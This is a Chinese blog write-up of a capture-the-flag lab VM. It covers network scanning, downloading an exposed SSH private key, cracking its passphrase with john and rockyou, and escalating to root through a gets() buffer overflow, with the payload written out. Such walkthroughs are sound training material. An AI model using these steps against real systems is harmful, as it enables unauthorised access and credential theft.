## ctf-wp-ssh私钥泄露

# 原创

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 <u>ctf 提权 ssh私钥泄露 writeup 缓冲区溢出</u>

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 本文链接:
 <u>https://blog.csdn.net/key\_nothing/article/details/88663539</u>

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订阅专栏

下载靶机之后进不去,这时候需要知道靶机的ip地址,kali里面使用netdiscover工具,查找局域网内的主机。 命令:

#### netdiscover

#### 结果:

Currently scann	ing: 172.16.96.0/16	Scr	reen View: Unique Hosts			
6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360						
IP	At MAC Address	Count	Len MAC Vendor / Hostname			
192.168.189.128	00:0c:29:bb:be:f8	2	120 VMware, Inc.			
192.168.189.2	00:50:56:e1:b2:05	2	120 VMware, Inc.			
192.168.189.1	00:50:56:c0:00:08	1	60 VMware, Inc.			
192.168.189.254	00:50:56:f7:43:0f	1	60 VMware, Inc.			

查看靶机对应mac地址,得知靶机IP为192.168.189.128 直接nmap扫描,命令:

#### nmap -sV 192.168.189.128

结果:



服务器开启了22、80、31337端口,后两个是http服务分别在浏览器查看 80端口:

③ 192.168.189.128

… ◙ ☆

### Welcome to nginx!

If you see this page, the nginx web server is successfully installed and working. Further configuration is required.

For online documentation and support please refer to <u>nginx.org</u>. Commercial support is available at <u>nginx.com</u>.

Thank you for using nginx.

https://blog.csdn.net/key\_nothing

31337端口:



https://blog.csdn.net/key\_nothing

直接dirb进行扫描,80端口没有结果,31337发现几个敏感目录:

#### root@Zkali:~# dirb http://192.168.189.128:31337

DIRB v2.22 By The Dark Raver

START\_TIME: Tue Mar 19 14:05:56 2019 URL\_BASE: http://192.168.189.128:31337/ WORDLIST\_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4615

---- Scanning URL: http://192.168.189.128:31337/ ----+ http://192.168.189.128:31337/.bash\_history (CODE:200|SIZE:81)

http://192.168.189.128:31337/.bashrc (CODE:200|SIZE:3526)

http://192.168.189.128:31337/.profile (CODE:200|SIZE:675)

http://192.168.189.128:31337/.ssh (CODE:200|SIZE:43)

http://192.168.189.128:31337/robots.txt (CODE:200|SIZE:70)

END\_TIME: Tue Mar 19 14:06:09 2019 DOWNLOADED: 4615 - FOUND: 5

其中一眼看上去有价值的:.ssh robots.txt 先看.ssh

(←) → 健 🏠

i 192.168.189.128:31337/.ssh

['id\_rsa', 'authorized\_keys', 'id\_rsa.pub']

有一行提示。 再来看robots.txt

G  $\langle - \rangle \rightarrow$ ŵ

③ 192.168.189.128:31337/robots.txt

User-agent: \* Disallow: /.bashrc Disallow: /.profile Disallow: /taxes

发现三个目录,逐个查看: 前两个分别都有一个文件,下载。第三个目录:



(i) 192.168.189.128:31337/taxes/

Good job! Here is a flag: flag1 {make\_america\_great\_again}

找到了一个flag。

考虑.ssh目录的提示,看看是否有公钥私钥文件。

← → ♂ ŵ	<b>Q</b> 192.168.189.128:31337/.ssh/id_rsa
['id_rsa', 'authorized_	keys', 'id_rsa.pub']
	Opening id_rsa
	You have chosen to open:
	🔊 id_rsa
	which is: BIN file (1.7 KB) from: http://192.168.189.128:31337
	Would you like to save this file?
	Cancel Save File

← → C' ŵ	<b>Q</b> 192.168.189.128:31337/.ssh/authorized_keys
['id_rsa', 'authorized	_keys', 'id_rsa.pub']
	Opening authorized_keys
	You have chosen to open:
	authorized_keys
	which is: BIN file (395 bytes) from: http://192.168.189.128:31337
	Would you like to save this file?
	Cancel Save File

下载到两个文件 通过ssh私钥文件来登录服务器: 查看私钥文件权限: ls -alh

#### -rw-r--r-- 1 root root 1.8K Mar 19 14:29 id rsa

查看authorized\_keys文件内容

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzG6cWl499ZGW0PV+tRaOLguT8+lso8zbSLCzgiBYkX/xnoZx0fneSfi93gdh4ynVjs2sgZ2Ha RWA05EGR7e3IetSP53NTxk5QrLHEGZQFLId3QMMi74ebGBpPkKg/QzwRxCrKgqL1b2+EYz68Y9InRAZoq8wYTLdoUVa2wOiJv0Pfr1Q4e9nh29J7 yPgXmVAsy5ZvmpBp5FL76y1lUb1GUuftCfddh2IahevizLlVipuSQGFqRZOdA5xnxbsNO4QbFUhjIlA5RrAs814LuA9t2CiAzHXxjsVW8/R/eD8K 22T07XEQscQjaSl/R4Cr1kNtUwCljpmpjt/Q4DJmExOR simon@covfefe

看到用户名simon 使用此用户名来登录: ssh-i id\_rsa simon@192.168.189.128 ^oot@Zkali:~# ssh -i id\_rsa simon@192.168.189.128

#### WARNING: UNPROTECTED PRIVATE KEY FILE!

Permissions 0644 for 'id rsa' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "id rsa": bad permissions simon@192.168.189.128: Permission denied (publickey).

@

提示私钥文件权限问题,重新对私钥文件进行赋权限: chmod 600 id rsa 查看id rsa的权限

-rw----- 1 root root 1.8K Mar 19 14:29 id\_rsa

继续登录:提示输入密码

@Zkali:~# ssh -i id rsa simon@192.168.189.128 Enter passphrase for key 'id rsa':

考虑从id\_rsa文件中破解出密码:

首先使用ssh2john工具将id\_rsa转换成john可识别的文件类型,输出到crack文件中 命令:

ssh2john id\_rsa > crack

现在要破解crack中的密码

zcat /usr/share/wordlists/rockyou.txt.gz|john --pipe --rules crack

解密出来的密码为starwars 登录成功。

simon@covfefe:~\$ pwd /home/simon simon@covfefe:~\$ cd /root simon@covfefe:/root\$ ls flag.txt read\_message.c simon@covfefe:/root\$ cat flag.txt cat: flag.txt: Permission denied

没有权限查看flag.txt

现在看看read\_message.c

cat read\_message.c

结果:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
   char program[] = "/usr/local/sbin/message";
   char buf[20];
   char authorized[] = "Simon";
   printf("What is your name?\n");
   gets(buf);
   // Only compare first five chars to save precious cycles:
   if (!strncmp(authorized, buf, 5)) {
       printf("Hello %s! Here is your message:\n\n", buf);
       // This is safe as the user can't mess with the binary location:
        execve(program, NULL, NULL);
       printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, auth
orized);
       exit(EXIT_FAILURE);
```

```
注释中找到第二个flag
进行代码审计,发现存在缓冲区溢出,判断前五个字符是否为Simon尝试缓冲区溢出提权:
运行read_message.c
```

```
simon@covfefe:/root$ read_message
What is your name?
```

构造payload:

simon11111111111111/bin/sh



找到第三个flag。